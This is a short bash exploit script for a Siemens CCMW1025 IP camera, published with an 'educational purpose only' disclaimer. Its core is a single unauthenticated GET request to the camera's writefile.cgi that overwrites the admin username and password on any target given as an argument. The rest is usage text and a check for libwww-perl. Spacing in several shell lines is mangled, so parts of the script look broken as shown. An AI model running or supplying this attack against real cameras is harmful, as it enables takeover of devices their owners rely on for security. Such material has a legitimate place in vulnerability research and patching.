#!/bin/bash
#
#SIEMENS IP Camera CCMW1025 x.2.2.1798 remote change admin user/password
#
#Copyright 2016(c) Todor Donev <todor.donev at gmail.com>#http://www.ethical-hacker.org/#https://www.facebook.com/ethicalhackerorg
#
#Disclaimer:#This or previous programs is for Educational#purposeONLY. Do not use it without permission.#The usual disclaimer applies, especially the#factthat Todor Donev is not liable for any#damagescaused by direct or indirect use of the#informationor functionality provided by these#programs. The author or any Internet provider#bearsNO responsibility for content or misuse#ofthese programs or any derivatives thereof.#By using these programs you accept the fact#thatany damage(dataloss, system crash,#systemcompromise, etc.) caused by the use#ofthese programs is not Todor Donev's#responsibility.
#
#Use them at your own risk!
#
#if[[ $# -gt 4|| $# -lt 3]]; then
echo "[ SIEMENS IP Camera CCMW1025 x.2.2.1798 remote change admin user/password"
echo "[ =================================================="
echo "[ Usage: $0 <target> <user> <password> <repeat password>"
echo "[ Example: $0 192.168.1.200:80 hacker teflon teflon"
echo "["
echo "[ Copyright 2016 (c) Todor Donev<todor.donev at gmail.com>"
echo "[ http://www.ethical-hacker.org/https://www.facebook.com/ethicalhackerorg "
exit;
fi
GET=`which GET 2>/dev/null`
if[ $?-ne 0]; then
echo "[ Error : libwww-perl not found =/"
exit;
fi
GET "http://$1/cgi-bin/writefile.cgi?DEFonoff_adm=&Adm_ID=$2&Adm_Pass1=$3&Adm_Pass2=$4&Language=en&Logoff_Time=0&UpSectionName=ADMINID"0&>/dev/null <&1